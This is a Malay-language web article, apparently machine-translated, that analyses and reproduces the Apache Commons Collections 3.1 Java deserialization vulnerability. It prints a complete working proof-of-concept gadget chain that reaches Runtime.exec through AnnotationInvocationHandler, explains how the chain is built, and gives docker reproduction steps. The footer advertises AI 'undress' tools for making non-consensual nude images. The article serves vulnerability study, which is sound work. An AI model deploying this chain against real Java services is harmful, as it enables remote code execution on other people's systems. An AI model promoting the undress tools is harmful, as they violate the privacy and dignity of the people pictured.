


Cara menganalisis dan menghasilkan semula kerentanan penyahserikatan Apache Commons Collections
1.1 Status
Lengkapkan analisis keadaan perlombongan kerentanan dan pembiakan kelemahan.
Analisis Kerentanan 1.2
Versi dengan kelemahan keselamatan: Apache Commons Collections 3.2.1 atau ke bawah, [Versi JDK: 1.7.0_80] Apache Maven 3.6.3.
Kod teras POC:
package com.patrilic.vul;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);// transformerChain.transform(null);//创建Map并绑定transformerChainMap innerMap = new HashMap();innerMap.put("value", "value");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// //触发漏洞// Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();// onlyElement.setValue("foobar");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);//将ins序列化ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的数据流进行反序列化,验证ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();// }//}}}
Idea eksploitasi kerentanan:
Kelas pelaksanaan antara muka Transformer-InvokerTransformer(), yang boleh memanggil sebarang fungsi.
Untuk melaksanakan Runtime.getRuntime().exec(cmd), anda perlu memanggil transformer beberapa kali dan menggunakan hasil pulangan semasa sebagai maklumat input seterusnya.
Untuk memanggil Runtime.getRuntime(), pertimbangkan kelas ConstantTransformer, yang boleh terus menggunakan parameter input sebagai output.
ChainedTransformer Sebagai kelas pelaksanaan, untuk tatasusunan Transformer yang diterima, ia menggunakan kaedah transformasinya sendiri (parameter dimasukkan oleh pengguna) untuk memproses objek tatasusunan Transformer satu demi satu, dan menggunakan hasilnya sebagai input parameter untuk panggilan berulang seterusnya. Kaedah transform()nya boleh mencetuskan kelemahan.
Untuk mencari laluan penyahserikatan, iaitu, bacaan dalam data dinyahsiri dan dilaksanakan, kemudian cari laluan yang boleh mencetuskan kaedah .transform() objek ChainedTransformer secara terbalik.
Kelas HashMap boleh menyimpan data dalam bentuk pasangan kunci-nilai, dan kaedah put(kunci, nilai) boleh menyimpan data.
Fungsi kelas TransformedMap adalah untuk menyimpan pasangan nilai kunci dan menukarnya menjadi objek mengubah kaedah decorate() boleh mencipta pasangan nilai kunci, dan kaedah checkSetValue() akan mencetuskan this.valueTransformer. .transform() pernyataan. Cari dalam urutan terbalik untuk memanggil checkSetValue() [1] untuk menjadikan this.valueTransformer sebagai objek ChainedTransformer [2].
Untuk [2], kaedah statik decorate() kelas TransformedMap boleh mencapai matlamat.
Untuk [1], kaedah setValue kelas AbstractInputCheckedMapDecorator kelas statik MapEntry akan melaksanakan this.parent.checkSetValue(value), maka this.parent hendaklah ditetapkan kepada objek TransformedMap [ 3] .
Untuk [3], analisis hadapan kod ini dalam POC:
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
Penyelidikan menunjukkan bahawa semasa proses pelaksanaan, objek TransformedMap diberikan kepada this.parent dalam kelas AbstractInputCheckedMapDecorator berkali-kali dan mengembalikan Objek Map.Entry hanya boleh melaksanakan kaedah setValue() dan mencetuskan kelemahan.
Untuk meningkatkan fleksibiliti, adalah perlu untuk mencari cara untuk mencetuskan kelemahan apabila memanggil kaedah penyahserikatan Oleh itu, pertimbangkan untuk mencari objek kelas yang memenuhi "override deserialization readObject() dan laksanakan setValue() daripada. Peta pembolehubah objek kelas." Pada masa yang sama, pembolehubah ini boleh dikawal dan diberikan data nilai utama." Kelas AnnotationInvocationHandler memenuhi keperluan ini [ia memanggil setValue() pada setiap entri pembolehubah ahli jenis Peta].
Fungsi Class.forName() adalah untuk memuatkan kelas.
Kemudian analisis semula untuk [1], analisis ke hadapan bagi kod teras dalam POC:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);……Object obj = (Object) ois.readObject();
Penyelidikan menunjukkan bahawa proses pelaksanaan akan melaksanakan kaedah setValue kelas statik MapEntry, dan kaedah entrySet akan dilaksanakan supaya objek this.parent=TransformedMap, sekali gus mencetuskan kelemahan.
Secara umum, idea pembinaan POC hadapan ialah: mula-mula bina objek ChainedTransformer, kemudian buat objek Map, kemudian gunakan contoh kelas TransformedMap untuk menyimpan objek ChainedTransformer ke objek kelas Map, dan kemudian dapatkan pengalaman melalui kaedah refleksi Contoh kelas AnnotationInvocationHandler yang dimulakan oleh objek kelas Map dan bersiri.
1.3 pembiakan docker
Muat turun imej docker yang dihasilkan, gunakan arahan berikut:
docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1
Tetapkan LAN dan IP kontena, mulakan bekas, contoh:
(1) Sesuaikan rangkaian
docker network create --subnet=192.168.10.1/24 testnet
(2) Mulakan bekas docker
docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash
Dalam bekas [Apache-Commons-Collections], laksanakan arahan [java -jar commons-collections -3.1.jar ], kemudian fail [CommonsCollections3.1] dijana, seperti ditunjukkan di bawah.
Atas ialah kandungan terperinci Cara menganalisis dan menghasilkan semula kerentanan penyahserikatan Apache Commons Collections. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas



Java menggunakan fungsi frekuensi() kelas Koleksi untuk mengira bilangan kejadian elemen tertentu dalam koleksi Dalam pengaturcaraan Java, kelas Koleksi ialah kelas utiliti yang mengandungi banyak kaedah statik untuk beroperasi pada koleksi. Salah satunya ialah fungsi frekuensi(), yang mengira bilangan kejadian unsur tertentu dalam koleksi. Fungsi ini sangat ringkas dan mudah untuk digunakan, memberikan kemudahan dan fleksibiliti kepada pembangun Java. Di bawah ialah contoh kod yang menunjukkan cara menggunakan

Java menggunakan fungsi binarySearch() kelas Koleksi untuk melakukan carian binari dalam koleksi tersusun ialah algoritma yang cekap untuk mencari elemen tertentu dalam koleksi tersusun. Di Java, kita boleh menggunakan fungsi binarySearch() kelas Koleksi untuk melaksanakan carian binari. Artikel ini akan memperkenalkan cara menggunakan fungsi binarySearch() untuk mencari dalam koleksi tersusun dan memberikan contoh kod khusus. Idea asas algoritma carian binari

Java menggunakan fungsi shuffle() kelas Collections untuk mengganggu susunan elemen dalam koleksi Dalam bahasa pengaturcaraan Java, kelas Collections ialah kelas alat yang menyediakan pelbagai kaedah statik untuk mengendalikan koleksi. Salah satunya ialah fungsi shuffle(), yang boleh digunakan untuk mengocok susunan elemen dalam koleksi. Artikel ini menunjukkan cara menggunakan fungsi ini dan menyediakan contoh kod yang sepadan. Pertama, kita perlu mengimport kelas Koleksi dalam pakej java.util,

Java menggunakan fungsi sort() kelas Collections untuk mengisih koleksi Di Java, kita selalunya perlu mengisih koleksi. Kelas Koleksi menyediakan fungsi sort() yang boleh mengisih koleksi dengan mudah. Artikel ini akan memperkenalkan cara menggunakan fungsi sort() kelas Koleksi untuk mengisih koleksi, dengan contoh kod. Pertama, kita perlu mengimport pakej java.util untuk menggunakan kelas Koleksi. imp

Java menggunakan fungsi max() kelas Koleksi untuk mendapatkan nilai maksimum dalam koleksi Dalam pengaturcaraan Java, kita selalunya perlu mendapatkan nilai maksimum daripada koleksi. Untuk memudahkan proses ini dan meningkatkan kebolehbacaan dan kecekapan kod, Java menyediakan fungsi max() kelas Collections. Fungsi ini membantu kami mencari nilai maksimum dalam set dengan mudah. Artikel ini akan memperkenalkan cara menggunakan fungsi max() kelas Koleksi, dengan contoh kod yang sepadan. Coll

1. Pengenalan Walaupun terdapat banyak artikel di Internet yang menganalisis kelemahan penyahserialisasian komponen ini, saya masih merekodkannya di sini. Lagipun, ini penting untuk pembangunan kelemahan penyahserialisasian Java. Apache Commons Collections ialah perpustakaan alat yang sangat biasa digunakan dalam pembangunan aplikasi Java. Ia menambahkan banyak struktur data yang berkuasa, memudahkan pembangunan aplikasi Java, dan telah menjadi piawaian yang diiktiraf untuk Java untuk memproses data pengumpulan. Banyak aplikasi biasa seperti Weblogic, WebSphere, Jboss, Jenkins, dsb. semuanya menggunakan perpustakaan alat Apache Commons Collections Apabila kerentanan penyahserikatan berlaku dalam pustaka alat, ini

Cara menggunakan modul koleksi untuk operasi struktur data lanjutan dalam Python 2.x Pengenalan: Dalam perpustakaan standard Python, modul koleksi menyediakan beberapa struktur data lanjutan yang boleh memudahkan pelbagai operasi. Artikel ini akan memperkenalkan beberapa struktur data yang disediakan terutamanya oleh modul koleksi dan memberikan contoh kod yang berkaitan. 1. CounterCounter ialah alat kaunter yang mudah dan berkuasa yang boleh digunakan untuk mengira setiap elemen dalam objek boleh lelaran.

Pembangunan Laravel: Bagaimana untuk menggunakan LaravelCollections untuk memanipulasi data pengumpulan? Koleksi ialah alat yang sangat berkuasa dan praktikal dalam pembangunan Laravel. Pembangun boleh menggunakan LaravelCollections untuk memanipulasi dan memproses data pengumpulan dengan mudah. Dalam artikel ini, kami akan memperkenalkan cara menggunakan LaravelCollections untuk memanipulasi data pengumpulan. 1. Apakah koleksi?
